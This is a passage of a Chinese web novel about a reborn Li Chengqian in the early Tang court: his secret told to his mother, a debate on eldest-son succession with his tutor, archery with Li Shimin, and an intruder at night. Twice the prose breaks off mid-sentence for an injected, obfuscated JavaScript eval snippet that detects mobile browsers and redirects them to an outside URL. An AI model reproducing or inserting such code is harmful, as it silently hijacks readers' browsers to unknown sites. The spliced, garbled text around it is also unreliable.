沉吟良久,府医才对秦王行礼解释道:“回禀秦王,中山王此时的高热倒是不妨事,只是疲惫所致,等退了热,好好修养便是。只是有一事,中山王郁结于心,如今还只是小恙,若是长此以往,只怕会影响岁寿,还需秦王好生劝慰中山王才是。” 说罢开了药方,交给秦王细看。 等秦王查验完毕,又亲去药库抓药,暂时离开了。 李世民看着躺在床榻上烧得满脸通红的长子,叹气道:“他小小年纪,到底在愁些什么?怎么还严重到影响岁寿的地步了。” 长孙无音道:“二郎没有觉察出承乾这两日有异?” 李世民道:“我是觉得承乾这两日沉稳了不少,原以为是因为知道了宫中之变,他懂事了,原因竟不是如此吗?” 长孙无音想起白日里承乾交给她的功课,皱眉道:“只怕不只是这样。” 5. 秘密 李世民听爱妻这话里的意思,问道:“音娘可是知道些什么?” 长孙无音想起白日里承乾交给她的那份功课上的字迹,与他往日字迹大不相同,一时间不知道该如何说,摇头道:“等我想通了,再告诉二郎吧。” 李世民点头:“也罢,等承乾病愈,再问他吧。时辰不早了,你身子素来虚弱,早些去睡吧。承乾这里有我守着。” 长孙无音诧异道:“二郎明早不是还要议事?还是由我来守着承乾吧。” “无妨,我身子强健,战场上几夜不合眼也是常有的事。一晚上不睡也没什么。你与我不同。”李世民上前摸着妻子的脸,“快去睡吧,别让我担心。” 长孙无音拗不过他,只能带人去偏殿休息了。 …… 不一会儿,侍从端着熬好的药进来了。 李世民摸了摸长子的额头,发现没有原来那么烫了,让人换了一块降温的湿布,把药放在一边的小炉子里先温着。 “阿耶……”一旁昏迷中的李承乾传来呓语。 李世民坐在长子的床榻边,大手抚摸着长子的头顶,难得柔声道:“承乾,怎么了?可是要喝水?” 李承乾迷迷糊糊地睁开眼,一时间竟不知道自己在何处,似梦似幻,突然看见年轻时的父亲,想起废太子诏书中“况乎冢嗣,宁不锺心”之语,不由问出心中埋藏许久的那个问题:“……阿耶,你恨我吗?” 李世民不解其意,摸了摸李承乾的发顶:“看来承乾你是真的病糊涂了。既然醒了,就起来把药喝了吧。” 侍从将温着的药碗递给李世民。 李世民先尝了一口,药入口只有温热,并不觉得烫,便舀了一勺药送到长子嘴边:“承乾,张嘴——” 李承乾迷迷糊糊地吃了这口药,只觉得整张嘴都麻了,等到李世民送来第二口时,立刻把头偏向一边:“……苦,不吃。” 李世民严厉道:“承乾,不要任性。” 李承乾泪眼婆娑地看着父亲:“阿耶果然恨我。” 李世民差点被这话气笑,他伸手便把长子抱在怀里,左手捏住李承乾的下巴,让他把嘴张开,右手拿起药碗把药灌了进去。 李世民担心承乾呛到,又把他整个人抱起,在承乾后背轻轻拍打。 李承乾迷迷糊糊地想,阿耶这样做好像在给吃完奶的婴儿拍奶嗝。 晃着晃着,他又迷迷糊糊地闭上了眼。 李世民眼见李承乾又睡了过去,就重新把长子塞回被子里,想起长子刚才的话,“阿耶恨我”,承乾怎么会问出这样的话? 他虽然对承乾自小严格要求,命良师教导启蒙,但自认并不是那等不近人情的父亲。承乾怎么会觉得他会恨承乾,可是有人对他说了什么,导致他误信小人谗言?这便是这孩子的忧心所在? 李世民一时间想不通。 …… 翌日,清晨。 李承乾从梦中醒来,只觉得头痛欲裂,疼得厉害。 一只略带冰凉的手摸了摸他的额头,让他生出眷恋和舒服。 长孙无音收回手,柔声道:“看来是退热了。” 李承乾艰难地起身,只觉得身上没有一处不是痛的:“阿娘。” 长孙无音对他笑了笑:“承乾,先把朝食用了吧。” 李承乾:“好。” 李承乾吃着早饭,一边听母亲说着昨晚的事。 “你昨日半夜起了高热,你阿耶守了你一夜。他如今在前面议事,一会儿便来看你。” 李承乾听得一怔,阿耶居然也会有守着他的时候吗?他一时间心绪杂乱,不知该如何作答。 突然又想到昨晚他来母亲宫殿的理由,他咽下口中的水饭,放下碗筷,看向长孙无音:“阿娘不问问我吗?关于昨天的那份功课?” 长孙无音温柔地看着他:“那承乾愿意说吗?” 李承乾:“我……” 李承乾犹豫之间,殿外传来小孩子的叫嚷声,一听便知道是谁。 长孙无音无奈吩咐侍从:“让他们进来吧。” 李丽质、李泰、李恪先对母亲行礼问安。 然后李丽质就看向李承乾:“阿兄,你感觉还好吗?” 李承乾点头微笑:“我如今现在已经大好了。” 李丽质立刻高兴地要扑过来。 李承乾连忙让侍从拦住她:“虽已大好,但到底没有痊愈,丽质还是不要离我太近,以免被过了病气。” 长孙无音让三个孩子见过兄长,又劝道:“你们大兄的病还没好全,你们别打扰他休息,先回去吧。” 孩子们应诺:“是,阿娘。”接着便出去了。 殿内顿时又安静了下来。 李承乾犹豫地看向母亲:“阿娘……” “罢了。”长孙无音无奈摇头,“承乾,你若是不想说,就不必说了。” 李承乾垂下眼,静默不语。 长孙无音将长子抱进怀里,柔声安抚:“承乾,还记得阿娘和你说过吗?阿娘和阿耶永远都会保护你的。不管发生什么事,你都不用怕。” 李承乾躺在母亲怀里,母亲的怀抱总是让他觉得眷恋。 如今他不过才八岁,就算表现出一些聪慧,大人也不会把他的话放在心里。 他不知道他重新来到唐朝的原因是什么,但他不想让阿娘再早早离世。若只是为阿娘延请名医,阿耶只会觉得他孝心可嘉,必然会认可。 可他如果想要让阿耶和阿娘节育,别接连生那么多孩子。古人向来讲究多子多福,以他如今这个小孩子的身体,恐怕是劝不了他们的。 李承乾先命殿中众人退出殿外,才挣扎着从母亲怀里坐起身,深吸一口气,神色平静:“阿娘,我去过千年之后。” 长孙无音看着眼前的长子,他眼中毫无戏谑之意,只有一脸正色。她难以置信:“荒谬!你何时学来这等鬼神之说。” 李承乾见母亲不敢相信,拿来纸笔,当场默写了《论语》里仁篇。 字体浑厚雄强,形顾簇新,气势磅礴,自成一派。 这绝对不是一个八岁稚童能写出来的字。 “此字体为颜体,所创者为中书舍人颜师古五世从孙颜真卿。” 长孙无音心中惧怔,她看着眼前的长子,只觉得他说的话好似天方夜谭,但纸上的字迹却又让她不得不信。 李承乾看向长孙无音:“我知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289117|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿娘素来不信神鬼之事。可我今日所言,句句属实,并无虚言。” “庄周梦蝶,不知周之梦为胡蝶与,胡蝶之梦为周与?若阿娘不信我,觉得我是个妖孽,不如就让我这样病逝。自古小儿多有夭折,我若就这样病逝,旁人也不会有所疑心。只是阿娘素来体弱,待孩儿逝后,更要保全自身,切莫忧思过重……” ——啪! 响亮的一巴掌落到了李承乾脸上。 李承乾止住话音,看向母亲,呐呐道:“阿娘……” 长孙无音满脸悲痛地看向他:“……承乾,你是要诛我的心吗?” 见母亲发怒,李承乾立刻慌了,他连忙抱住母亲:“阿娘,你别生气……我错了,你别生气……” 长孙无音克制着自己胸前起伏:“你既说去过千年之后,想必读过唐史。那究竟发生了何事,才会令你心存死志?” 李承乾沉默低头:“没什么。” “承乾,我是你的母亲。阿娘会永远护着你的。”长孙无音抱着怀里的长子恸哭,究竟发生了什么才会令承乾心如死灰至此? 李承乾抬头,便见母亲已经泪流满面。他慌乱地替母亲擦拭眼泪:“阿娘,你别哭……都是我不好……对不起……” 长孙无音见李承乾也哭了,只能无奈道:“罢了,阿娘不再逼你。只是承乾,你可还记得《孝经》开宗明义章里说过什么?” 李承乾低下头,惭愧道:“身体发肤,受之父母,不敢毁伤,孝之始也。” 长孙无音看着他:“你若损毁自身,难道我和你阿耶就不伤心吗?今日这样伤及自身的话,你日后不准再说。” 李承乾:“是。” 长孙无音长舒一口气:“承乾,今日之言,不必告诉你阿耶。” 李承乾惊讶地抬起头:“阿娘?” 长孙无音道:“自古帝王闻谶言谶语者,无一不验其所言。谶言祸乱之事,不可不妨。我问你,你阿耶为君如何?” 李承乾认真道:“曾有史家言,太-宗开贞观盛世,三代以来,中国之盛,未之有也。” 长孙无音欣慰笑道:“既然如此,那就更不必说了。你阿耶既然能成此盛世,必须他自行艰苦磨砺,不可依赖他人。” “承乾,你行事不知遮掩,我只怕你会将这机密之事泄露。将来若有天灾人祸,你心有不忍,就私底下告诉阿娘吧。” “是!” 放下一桩心事,李承乾立刻感到全身疲惫。 长孙无音摸了摸他的额头,已经不烫,朝食也已经吃了大半,就让他躺下继续休息。自己则向殿外走去。 - 殿外的庭院里,并无一个侍从。只有李世民一个人正无聊地折着缸中的荷花,见长孙无音走出殿外,忙迎上去:“音娘,承乾和你说了什么?” 长孙无音抿唇笑道:“二郎耳力过人,如今又做了廊下君子,不是都听到了吗?” 被爱妻戳穿自己偷听的行径,李世民不免有些讪讪的,他摸了摸鼻子:“我只隐约听到一些,听不大真切。音娘不如直接告诉我吧。” 他见爱妻微笑,连忙附耳过去。 只听爱妻气若幽兰,开口道:“不行!” 6. 诏书 李世民一时无奈,只能缠着长孙无音,怎奈长孙无音无论如何就是不肯说。两人戏耍打闹间,便听人传报宫中有内侍传诏。 李世民对来禀告的侍从吩咐:“你先让内侍在前边等着吧。” 又对长孙无音道:“只怕是前日宫中之事,陛下和裴寂等人终于商议出了结果。” 长孙无音见丈夫面上平静,但只怕他心中尚有余怒,连忙劝道:“如今大事已定,陛下毕竟是二郎的君父,之后二郎统御万民,还要做天下表率。若是陛下今后对二郎恢复往昔之情,二郎也别再把往日之事放在心上了。” 李世民拉住长孙无音的手,冷笑道:“若是陛下愿意做慈父,我自然也愿意做孝子。若是陛下不愿,哼——” 未尽之语竟让人觉得惊心动魄。 长孙无音轻笑道:“二郎又说气话了。好了,快到前面去接诏吧。你已经晾了那内侍这么久,只怕宫中又要多想了。” 李世民道:“别说我了。你去照顾承乾吧。等我回来,你可得把承乾的小秘密告诉我。” 长孙无音只能摇头失笑。 …… 宫内给秦王李世民送来了两份诏书。 内侍也不敢让秦王摆香案下跪接诏,只恭敬地将诏书送上,侍立在一旁,满脸堆笑:“不知秦王殿下对这两份诏书的内容可还满意?若是有什么不满意的地方,殿下只管指出。” 李世民细细看着手中的两份诏书内容,分别是《诛建成元吉大赦诏》和《立秦王为太子诏》,政理通达,言辞恳切,倒是没在里面耍什么小心思。 他问内侍道:“这两封诏书出自何人之手?” 内侍满脸堆笑:“是中书舍人颜师古颜舍人所写。” 秦王李世民曾被封为敦煌郡公,颜师古曾经是敦煌公府文学,后来被李渊升迁为中书舍人,他倒算是半个秦王府旧人。 李渊命颜师古写诏,李世民便知道父亲是有意示好,便满意地点头。 那内侍见李世民点头,稍微松了一口气,又小心翼翼地问道:“那不知秦王殿下想要什么时候册立太子位?这诏令传至州郡,也是需要时日的。” 李世民沉吟片刻:“先把这份《诛建成元吉大赦诏》传令天下。东宫可打扫干净了?” 想起曾经鲜血满地、残肢断首的东宫,内侍不由打了个寒颤,他连忙道:“回禀秦王,昨日陛下就已经命人将整个东宫上上下下都洗刷了一遍,殿下只管放心。罪人郑氏及其家眷,已迁至长乐门附近的宫室居住,必不会打扰到殿下。” 这里的郑氏即指的是太子李建成的妻子郑观音,因李建成如今已经伏首,他的儿子们在玄武门之变中也一并被杀。至于他的妻子和女儿,李世民倒是没有让人动武。 李世民皱眉道:“既然诏令上已经说了,凶逆之事止在建成、元吉二人,就不必把郑氏母女称作罪人。倘若让本王发现宫中有欺辱郑氏母女者,本王必不轻饶。” 内侍心里暗暗叫苦,连声道:“是,是。那秦王殿下对册立太子之日可有什么打算?” 册封太子之事,宜早不宜迟,只恐迟则生变。 李世民便道:“后日是甲子日,那便明日迁至东宫,后日册立太子。” 那内侍连声道:“是,是。那奴先回去向陛下传达殿下之意,先告退了。” 待侍从走后,李世民看着手中的两份诏书,沉默良久。 …… 长孙无音所在宫室。 李承乾再次醒来的时候,殿内已经点上了灯。 他问守在床榻边的侍从:“现在是什么时辰?” 那侍从忙道:“回中山王,已经戌时三刻了。中山王睡了一天,怕是腹中饥饿,奴命人取暮食来。” 李承乾点头,又问道:“阿耶和阿娘呢?” 那侍从脸上带着兴奋:“今日宫中传旨,陛下立了咱们秦王为太子。秦王吩咐全府明日收拾东西搬到东宫,如今殿下和王妃正对府中郎君娘子们说着迁宫之事呢。” 李承乾心中暗道,原来立太子的诏书是这个时候发的。前世他年岁尚幼,竟没功夫注意这些。 他坐起身,只觉浑身疼得厉害,吩咐守在一旁的侍从:“你过来,为我穿衣。” “是。”那侍从虽不解其意,倒也乖乖照做。 恰在此时,殿门处传来问安之声,原来是长孙无音和李世民回来了。 长孙无音见侍从给李承乾穿衣,忙问道:“承乾,你病还没好,怎么起身了?” 李承乾行礼问安:“这里是阿娘的宫室,我怎能久住?更何况明日迁宫,我就更不能住在这里了。” 长孙无音道:“承乾,你我母子之间,何必如此生疏。你若又搬回去住,一来一往,只怕病又要加重了。” 李世民也道:“你的病还没好全,还是安心睡下吧。多住一晚少住一晚,也没什么差。你如果有什么想要收拾的要紧东西,把你乳娘叫来,吩咐她就是了。” 又见侍从送来食物,道:“好了,安心吃点东西吧。家人之间,何必多礼。你阿娘殿中又不是没有旁的屋子。” 见父母都这样说,李承乾只能安心住下。 …… 夜里,李承乾果然又起了高热。 李世民和长孙无音都庆幸没有让长子搬回去折腾一回。 …… 六月七日,秦王一家迁居东宫。 期间李承乾睡了醒,醒了又睡,反复高热,只中途醒来,吩咐王乳娘一定要带上他的弓。 …… 六月八日,甲子日,皇帝李渊立秦王李世民为皇太子。 皇帝李渊随即又下诏,让皇太子李世民决断军机兵仗仓粮一切大小事务。 …… 李承乾因为反复高烧,所以没有前去观礼,册立秦王李世民为皇太子的盛景全由前来探病的弟妹转述。 “阿兄,你不知道,阿耶今日可威风了!”李丽质兴奋道。 李承乾躺坐在床上,面色还有些虚弱发白。他笑道:“是吗?比阿耶打败窦建德、王世充凯旋那日还要威风吗?” 李丽质一下子就犯了难。 据说阿耶凯旋那日,身披黄金甲,列阵铁骑一万骑,甲士三万人,后面还有很多俘虏和来自隋朝宫殿的器物。比之今日略显匆忙的太子册封大典,自然要威风得多。 可是那会儿她还小,对阿耶身披黄金甲的场景根本没什么印象,又怎么比得上今日的亲眼所见。 李泰在一旁嘲笑道:“丽质那时候还刚出生不久,哪里见过阿耶身披黄金甲的场景?” 李丽质立刻不服气道:“四兄你也只不过比我大了一岁而已。” 李泰有些无语:“哈?拜托,我是在帮你好不好?明明是大兄在戏耍你吧。” 李丽质这才反应过来,立刻对着李承乾撒娇:“阿兄,你又欺负人。” 李承乾见状,立刻哈哈大笑起来。 …… 等到李承乾病好,他立刻前往大内拜见祖父李渊。 此时的李渊正在两仪殿内与后妃宴饮取乐,听说李承乾来拜见,就暂时命人退下。 李承乾进殿向李渊请安问好:“孙儿今日才来给阿翁问安,请阿翁恕罪。” “不妨,不妨。”李渊把他叫到 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当日戏言竟成谶语,李渊一时间不免悲叹。 李承乾见李渊只看着他,久不做声,虽然能猜到阿翁心中所想,但却只能出言提醒:“阿翁可是困了?不如孙儿先告退吧。” “不妨事,”李渊给李承乾赐坐,“陪阿翁多聊一会儿。你如今可读了什么书?” 李承乾道:“已经读了《诗经》和《礼记》,如今在读《孝经》。” 李渊听到此处,略微有些诧异,问了李承乾几个《诗》《礼》中的问题,见他果然能对答如流,不免大笑:“承乾,你如今可比你阿耶当年强上许多呀。” 李承乾不免目露疑惑。 李渊便笑着道:“你阿耶当年游戏乡里,和侠勇恶霸为友,等到和你母亲成婚之后,才慢慢收敛了少年心性,后来慢慢变得越来越出息……” 只可惜,到如今他的二郎也过于出息了。 …… 李渊和李承乾絮絮叨叨了一大堆李世民少年时的事。 等到李承乾回到东宫显德殿向回禀李世民的时候,脑子里不免还在想着。 李世民问道:“承乾,你今日去见你阿翁,你阿翁近况如何?” 李承乾答道:“阿翁比以前瘦了些,但我瞧这,精神却还好。” 李世民一边批着政务,一边点头:“那便好。这几日我不得闲,你和丽质、青雀他们,多去看看你阿翁。你和阿翁聊了一下午,都说了些什么?” 李承乾笑道:“阿翁和我说,阿耶当年为了去见阿娘,竟然偷偷翻墙进了高舅公家的别院,却不想高舅公家养有烈犬,阿耶竟被烈犬追出了三里地……” 李世民登时又羞又怒:“好啊,承乾,你如今大了,倒是敢说你耶耶的是非了……”说罢放下御笔就要来抓他。 李承乾连忙向殿外庭院中逃去,一头撞进前来的长孙无音怀里。 长孙无音连忙将李承乾抱住,又见他身后追出来的李世民,笑道:“你们父子俩,又在作什么怪?” 李承乾连忙躲到母亲身后:“阿娘快救我,阿耶要捉我。” 李世民笑怒道:“承乾,快出来!不许躲到你母亲身后。” 李承乾故意慢悠悠地对长孙无音说道:“阿娘你恐怕不知道吧,当年阿耶他为了……” 没等李承乾说完,李世民已经一把抓住李承乾,把他困进怀里捂住了他的嘴:“不许说!” 李承乾被捂住嘴,只能不断挣扎:“唔唔唔……” 长孙无音见这对父子打闹,只轻笑起来。 7. 嫡长 因为李世民被封为太子,又因为一切军国大事都要由他决断。他名义上是太子,实际上行使的就是皇帝大权。所以这段时间不管是太子李世民还是太子妃长孙无音都很忙。 李承乾作为长子,自然肩负起照顾弟妹的职责。除了自己要接受陆德明、孔颖达等人的教导之外,还要在闲暇之余教导弟妹读书,监管他们的功课。 李承乾前世极其厌恶孔颖达,对陆德明的感官倒还尚可。只是这几日被这几位大儒重新领着复习经书典籍,不免想起前世之事,心中难免郁闷。 这日,李承乾刚写好给妹妹李丽质央求的字帖《急就篇》,陆德明就来给他上课。 这日讲的是《孝经》谏诤章。中心思想大概是儿子不能一味的只知道孝顺父亲:如果父亲做了不义之事,作为儿子要及时劝争力阻;就像君主做了不义之事,作为臣子也要及时直言谏争。如果只是一味遵从父亲的命令,这并不算是孝顺。 陆德明先是给李承乾将整个谏诤章翻译了一遍,又举了历史上几个大臣直言谏争的例子,等到李承乾吸收了解之后,才问道:“中山王可明白这其中的道理?” 李承乾点头。 陆德明便让他按照自己的理解举一个实例。 李承乾笑道:“这恰如之前建成、元吉离阻骨肉,意图谋逆。阿翁却没有及时处罚他们,是为不义。幸好阿耶及时向阿翁谏言,才避免天下再度分崩离析。先生觉得我说得可对?” 陆德明见李承乾故意将圣人之言曲解,正要发作,但李承乾所言之事涉及到了前几日的宫中政变,他又不好直言指出,只能骂道:“荒唐!” 李承乾故作疑问:“先生觉得学生哪里说得不对?” 陆德明又气又怒,秦王李世民弑兄囚父本就违背孝道,这是天下人皆知的事。他虽然归属秦王,但对于宫变之事却极为反对。只可惜,等他得知此事的时候,宫变已经结束,建成、元吉及其子嗣一并被诛杀,再无回旋的余地。但如今李世民身为太子积威甚重,宫变之事朝中无人敢议论。他为子孙计,也只能隐而不发。 陆德明怒斥道:“中山王明明知道事情原委,又何必胡搅蛮缠。” 李承乾笑道:“先生说不过我,就开始耍赖了。” 陆德明面色红涨,明显是气急攻心之症。 陆明德现在毕竟七十多岁了,李承乾怕真把眼前这个小老头气出好歹来,到时候怪没意思的。 他只好道:“先生觉得我说的不对,不过是因为自尧舜禹三代之后,天子之位不再禅让,而是父死子继。立嫡以长不以贤,立子以贵不以长。若是能像上古时那样,以其人是否贤能继位,先生也不必在这里与我争辩了。” 陆明德见李承乾一脸正色,不像是在开玩笑,不免奇怪道:“中山王身为太子和太子妃的嫡长子,既嫡又长,怎么会生出这样的想法?” 李承乾道:“若是我的弟弟们比我贤能,我就是让位又有何妨!” 陆明德这时倒是没有像一开始那么生气了:“您既有天资,又有我等辅佐,中山王又何必妄自菲薄。” 虽然中山王调皮了些,也经常惹人生气,但确实如太子昔日所说,天资聪殷。他如今这番话,恐怕是小儿不愿承担责任的畏惧推脱之语,不可尽信。 李承乾突然换了一个话题:“我听说陈朝尚存之时,先生曾经教导过陈朝太子陈叔宝。他天资如何?” 陆明德没想到中山王突然提起自己之前教过的另一个学生,提起陈叔宝这个陈朝亡国之君,陆明德突然叹了口气:“陈后主资质尚可,只可惜长于妇人之手,不知民间疾苦,虽有怜民惜弱之心,却毫无作为,寄情于文酒,以至亡国。” 李承乾笑道:“您看,陈叔宝也是陈宣帝与皇后的嫡长子,最终却国亡被俘。可见立长不立贤这件事,本身就是错的。” 陆明德摇头道:“殿下怎可用孤例来证嫡长?况且陈国灭亡,也非陈后主一人之过,隋军之强,只怕他的父亲陈宣帝在位也难以抵挡。殿下怎么能将陈国国亡之罪归于嫡长之过呢?” 李承乾笑道:“那先生能给我举几个嫡长子顺利即位的例子?” 陆明德一时间愣住。 他博古通今,这些例子倒不是说不出来。只是细数历朝历代,身为太子能顺利继位者都少之又少,更何况帝后的嫡长子成为太子再成为皇帝?不说别的,就说前朝太子杨勇,不就是最好的反例? 李承乾轻叹道:“既然先生不愿说,那就由我来说吧。汉惠帝刘盈、汉景帝刘启、汉成帝刘骜、北魏拓跋濬、南齐萧赜,纵观古今,以嫡长子的身份册立为太子或太孙,最后顺利即位的,只此五人。【注】当然,您若是想将陈后主也算上,那便是六人。这些人中,除了景帝之外,哪个又称得上是真正的贤能呢?国朝或衰或乱或亡,皆不长久。究其原因,岂非选嫡长而不选贤能之过?” 陆明德没有继续和李承乾讨论下去,因为这本身就是无解的答案。 他只能借着天色,先行告退。 陆明德离开之后,李承乾很快就收到来自阿耶李世民的传召,恐怕陆明德刚离开他这里就跑去找阿耶告状了。 他只能起身前往显德殿。 出人意料的,太子李世民此时并没有在处理文书,而是命人在庭中立了箭靶,正在搭弓射箭,箭箭射中靶心。 他见承乾走进庭内,放下弓箭,招手让他过来。 李承乾恭敬地行了一礼:“阿耶。” 李世民爽朗一笑:“承乾,阿耶今日教你射箭如何?” 说罢,便把一张小弓递给李承乾,教他搭弓。 “承乾,射箭的时候,要先找到自己的目标。” 李世民的手握在长子的小手的上,李承乾几乎整个人都被李世民笼罩,感受着父亲身上散发出的热气。 一箭离弦。 正中靶心。 “承乾,你的目标是什么?” 李承乾不语。 又一箭离弦。 “承乾,你在担心什么?” 李世民在长子耳边轻笑:“担心我像汉景帝对待刘荣那样对待你,还是担心我像隋文帝对待杨勇那样废了你?” “嗯?” 又一箭离弦。 李承乾叹了口气,想起前世被废的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289119|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己:“阿耶,刘荣无过,只因为汉景帝偏宠刘彻,才废了刘荣的太子之位,此乃汉景帝之过。可我若是第二个杨勇,亦或第二个陈后主呢?” 李世民放下弓箭,认真地看向长子,说道:“倘若真有那么一天,我自然会废了你。” “只是,承乾,”李世民蹲下-身,摸了摸儿子的后脑勺,“你现在还不必担心这些,阿耶和阿娘自然会教好你的。你要做的,就是乖乖长大。剩下的事,阿耶会处理好的。” 李承乾把头埋进父亲怀里,声音传出来有些闷闷的:“那阿耶记得要看好我,如果我又做得不对的地方,及时把我给废了。” 李世民失笑:“若是你有做得不对的地方,阿耶自然是会纠正你,教你改正错误,怎么会废了你呢?” 李承乾小声喃喃道:“只怕到时候就太晚了。” 李世民没听清楚这句话,敲了敲长子的脑门,突然问道:“你和你阿娘,到底瞒了我什么事?” 李承乾惊讶地往后退了一大步,道:“阿娘告诉你了?” “当然没有,不然我问你做什么?”李世民捏了捏长子柔软的脸蛋,“所以?你们瞒了我什么事?” 李承乾立刻捂住嘴:“我才不要告诉阿耶。” 李世民敲了敲他的脑袋:“算了,不说就不说吧。走吧,去丽正殿找你阿娘吃饭。” 前往丽正殿的路上,李世民拉着李承乾的小手。 夕阳照射下来,在地上留下两道长长的影子。 “阿耶,你喜欢我吗?” “你是我的孩子,我怎么会不喜欢?” “那阿耶能一直喜欢我吗?” “可以。” “那,阿耶可以只喜欢我一个人吗?” “啊?”李世民诧异地低头,看向李承乾:“所以,承乾你今天闹这一出,和陆明德扯了半日的嫡长之争,只是因为嫉妒?嫉妒谁?青雀还是丽质?” 李承乾立刻反驳道:“我怎么会嫉妒丽质?”再说,他根本就不是因为这一世的事情而郁闷。 李世民笑道:“那就是嫉妒青雀了。” 他心中暗道,他平日里虽然对青雀宽待几分,但那也只不过是因为青雀圆润可爱,对承乾并无疏忽之意。反而因为承乾事关宗庙家业,无论是他还是音娘都对他更加看重,不料今日居然会勾出他和陆明德关于嫡长贤能的争辩。 又想起自己年少之时,也曾经嫉妒父亲看重长兄,疼爱幼弟,不免生出几分恍若隔世之感。 他将长子抱起,笑着安慰道:“虽然阿耶不能只喜欢承乾一个人,但今日例外,今日阿耶只喜欢你好不好?” “阿耶……” “嗯。” “快把我放下来啦,这样真的很丢脸啦。”他已经这么大了不需要父亲抱着了啦。 李世民抱起长子就往丽正殿跑:“我不。” 李承乾趴在父亲怀里,双手环抱着李世民的脖子,附在他耳边小声道:“阿耶,一个月之后,我送你一件礼物,可好?” “什么礼物?” “一件你一定会用上,并且一定会喜欢的礼物。” 8. 刺客 李承乾在丽正殿陪父母亲用完暮食后,就回到了自己居住的宫室。 洗漱完,李承乾躺在床上,想着傍晚时的问阿耶的那句话,翻来覆去地睡不着,深觉丢脸。 他这几天到底是怎么回事啊?莫名其妙变得这么娇气。他抬头看着自己张开的手掌,白皙、娇嫩、脆弱,没有老茧和伤疤。 难道他的思想真的被这具八岁的幼小身体拖累,变得爱撒娇了? 睡在外间的王乳娘听到李承乾翻身的动静,低声问道:“大郎可是要起夜?还是要喝水?” 李承乾忙道:“我没事,就要睡了,乳娘也早些休息吧。” 本来承乾如今年纪尚幼,王乳娘是要陪着他睡在旁边的榻上的。只是李承乾心理上是成年人,不想接受这种对待小孩子般的照顾,又找了长孙无音背书,这才让王乳娘睡在了外间。 今夜是盈凸月,虽然不是完全的的满月,却也十分明亮。 因为天热,王乳娘特意命人开了窗户透气。 李承乾躺在床上,望着从窗栅间透着纱窗撒下来的盈盈月光,心情倒是舒畅了不少。 他悄然起身,穿好鞋走到窗边赏月,鼻尖传来庭院中花草的清香。 月色逐渐被残云遮掩,渐渐暗淡下去。 突然,一道黑影从院中迅速略过。 李承乾大惊,立刻拿起今日从阿耶那儿新得的小弓搭箭射出,同时大声喊道:“何人在此窥伺!” 守在殿外的甲士闻声喊道:“殿下,可需我等进殿?” 殿内的侍从也陆续被惊醒,开始陆续点灯。 殿中瞬间灯火通明。 王乳娘把一队甲士带到李承乾面前,等着他吩咐。 李承乾道:“刚才有人在庭中向殿内窥伺,被我射了一箭,只怕已经受伤,你们沿着血迹去寻。再派人向阿耶禀报一声。” “是。”甲士正要奉命而去。 李承乾又补充道:“对了,记得不要惊动女眷。” 那领头的甲士哈哈一笑,挠了挠头:“中山王多虑了,后面的宫殿我们也过不去呢。” 他旁边的甲士连忙踹了他一脚,他这才发现自己说错了话,呐呐地低下头。 哪来的傻子? 李承乾无奈摇头:“去吧。” “是。” 王乳娘已经命人在殿内点上灯,取了外衣亲自为李承乾穿上,温声问道:“大郎可受了惊吓?” 李承乾摇头:“我无事,乳娘不必担心。” 他命人取琉璃灯笼来,自己拿着灯笼去庭院内找窥伺者的线索。 他先找了庭内的血迹,沿着血迹又找到了不少水痕。他仔细观察着庭院内的几个莲花缸,发现其中一个缸内花枝格外凌乱。 李承乾推测道:“只怕那窥伺者最开始是躲在缸内,这才躲过了你们的眼睛。” “这刺客的水性倒是着实不错,能在缸中憋那么久的气。”身后突然传来声音。 李承乾寻声觅去,原来是李世民到了。 李世民伸手拍了拍长子的肩膀:“如何?有没有被吓到?” 李承乾摇头:“阿耶,我无事。” 李世民借着灯笼的烛光仔细观察着长子的脸色,见他果然神色如常,这才放心下来:“承乾,你是如何发现那刺客的?” 李承乾便将自己无聊赏月、发现刺客、拉弓射箭的经历仔细讲了一边。 李世民听到李承乾说自己用箭把刺客射伤,挑了挑眉,有些惊讶。又进殿内仔细查看了那被利箭射穿的纱窗,更是在心中诧异。虽然以前他也曾经命人教过承乾射箭学武,但那只是为了他的身体康健。再加上承乾多病,并不敢让承乾下苦功夫学武,只让他当做游戏。 可今夜的射穿纱窗的这一箭,力道虽尚有不足,可准头却已经有了七八分火候了,这绝非游戏就能做到的。更奇怪的是,他今日下午教承乾学弓的时候,竟然没有察觉出这一点。 他回过头看向长子:“承乾。” “是,阿耶,我在。” 看着长子眼底的全然信任,李世民刚想说些什么,想了想,又咽了回去。 恰在此时,太子左卫率尉迟敬德已经带人前来禀告:“太子殿下,刺客已经找到。” 李世民没说话,等着尉迟敬德接下去往下说。尉迟敬德既然没有把刺客绑来,想必是出了变故。 果然,只听尉迟敬德继续道:“臣命人沿着血迹去寻,在奉化门附近的一口水井里找到了刺客的尸体。臣等戍卫宫禁不利,还请太子责罚。” 李世民冷笑道:“确实该罚。这次是中山王谨醒,才没出什么大事。若是出了什么事,你们又有几条命来赔?三日之内,把这件事查清楚,过后自己去军中领罚。” 听到这话,李承乾诧异地看了父亲一眼。 “是,臣遵命。”尉迟敬德离开调查。 李世民则吩咐王乳娘给李承乾收拾东西,对着李承乾道:“承乾,这几日,你先住到我那儿去。” 李承乾乖乖点头。 …… 次日,李承乾醒来,洗漱完就去给父亲请安。 